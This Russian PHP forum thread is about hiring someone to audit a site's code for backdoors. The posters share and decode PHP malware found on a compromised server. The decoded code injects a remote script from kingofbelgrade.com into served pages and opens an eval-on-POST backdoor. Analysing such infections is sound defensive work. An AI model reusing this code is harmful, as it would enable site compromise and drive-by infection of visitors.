Требуется программист в Питере на разовую работу

DYPA

Настоящая dypa (c)
сделать аудит кода и найти потенциальную уязвимость - цена вопроса подходящая, но произвести аудит на закладки - это перелапатить код на весь функционал, тут нужно братьб на порядок выше (или почасовая).
это если не знаешь что ищешь, а если знаешь что ищешь - то сойдет, а вот исправление - это уже более серьезная работа...

стукнул вам в асю, сенная это отлично, но вот особо много времени сидеть у вас в офисе нету :)

начать стоит со смены всех паролей (админки/хостинги/сервера/домены/корпоратившина)

зы пару часов назад извлек такую красоту (eval убран;) )
PHP:
<?php
base64_decode('aWYoIWlzc2V0KCR0NXcxKSl7ZnVuY3Rpb24gdDV3KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMnRwYm1kdlptSmxiR2R5WVdSbExtTnZiUzlsYm1jdmNHNW5abWw0TG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIHQ1dzIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkdDV3MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkdDV3MSkpY2FsbF91c2VyX2Z1bmMoJHQ1dzEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0ndDV3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3Q1dycpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSR0NXdsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCd0NXcyJykpIT0ndDV3MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')
 

Krishna

Продался Java
зы пару часов назад извлек такую красоту (eval убран;) )
Это из этого проекта? Ну, повезло, не особо хитрые товарищи попались. Другое дело, что поиск по eval и base64_decode не даёт 100%ой гарантии того, что ты нашел ВСЁ. :)
И, ведь вполне может быть, что есть какая-то часть бэкдора рассчитанная на то, что ты её найдешь ;)

-~{}~ 20.10.09 22:51:

З.Ы. Кстати, не стал вникать подробно, но мне по первому впечатлению как-то показалось, что этот код больше похож на работу червя, чем бэкдора, оставленного прогером.
 

Beavis

Banned
PHP:
<?php
if (!isset($t5w1)) {
	function t5w($s)
	{
		if (preg_match_all('#<script(.*?)</script>#is',$s,$a))
		{
			foreach ($a[0] as $v)
			{
				if (count(explode("\n",$v))>5) {
					$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);
					if ((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write'))) 
						$s=str_replace($v,'',$s);
				}
				if (preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))
				{
					foreach($a[0] as $v)
					{
						if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))
						{
							$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);
							$s=str_replace($a='<script src=http://kingofbelgrade.com/eng/pngfix.php ></script>','',$s);
							if(stristr($s,'<body')) {
								$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);
							} elseif(strpos($s,',a')) {
								$s.=$a;
								return $s;
							}
						}
					}
				}
			}
		}
	}
	
	function t5w2($a,$b,$c,$d)
	{
		global $t5w1;
		$s=array();
		if(function_exists($t5w1)) {
			call_user_func($t5w1,$a,$b,$c,$d);
		}
		foreach(@ob_get_status(1) as $v) {
			if(($a=$v['name'])=='t5w') {
				return;
			} elseif($a=='ob_gzhandler') {
				break;
			} else {
				$s[]=array($a=='default output handler'?false:$a);
			}
		}
		for($i=count($s)-1;$i>=0;$i--)
		{
			$s[$i][1]=ob_get_contents();
			ob_end_clean();
		}
		ob_start('t5w');
		for($i=0;$i<count($s);$i++)
		{
			ob_start($s[$i][0]);
			echo $s[$i][1];
		}
	}
}

$t5wl = (($a=@set_error_handler('t5w2'))!='t5w2') ? $a : 0;

eval(base64_decode($_POST['e']));
?>
-~{}~ 21.10.09 01:50:

вот такая вот червя))
хотя мне кажется было бы достаточно и просто
PHP:
eval(base64_decode($_POST['e']));
=)
 

Krishna

Продался Java
Beavis
Я смотрел этот исходник, именно потому и говорю, что это результат работы FTP-червя скорее всего.
 

varan

Б̈́̈̽ͮͣ̈Л̩̲̮̻̤̹͓ДͦЖ̯̙̭̥̑͆А͇̠̱͓͇̾ͨД͙͈̰̳͈͛ͅ
Я тоже не готов ехать в офис
 

DYPA

Настоящая dypa (c)
это результат работы автоматического ифреймера

>И, ведь вполне может быть, что есть какая-то часть бэкдора рассчитанная на то, что ты её найдешь ;)
в php не так много возможностей спрятать код
 

FB3

Новичок
А адреса сайтов нельзя было хотя бы написать? ИМХО, можно было бы оценить объем работы. Я бы денек посидел в офисе за 3 тысячи, но не факт, что удалось бы за это время весь код просмотреть, потому что объемы не понятны практически. Насколько я понимаю, нужно искать только специально оставленные дыры, правильно?
 

DYPA

Настоящая dypa (c)
Автор оригинала: FB3
А адреса сайтов нельзя было хотя бы написать? ИМХО, можно было бы оценить объем работы. Я бы денек посидел в офисе за 3 тысячи, но не факт, что удалось бы за это время весь код просмотреть, потому что объемы не понятны практически. Насколько я понимаю, нужно искать только специально оставленные дыры, правильно?
забей, заказчик неадекватен и откровенный хам
 
Сверху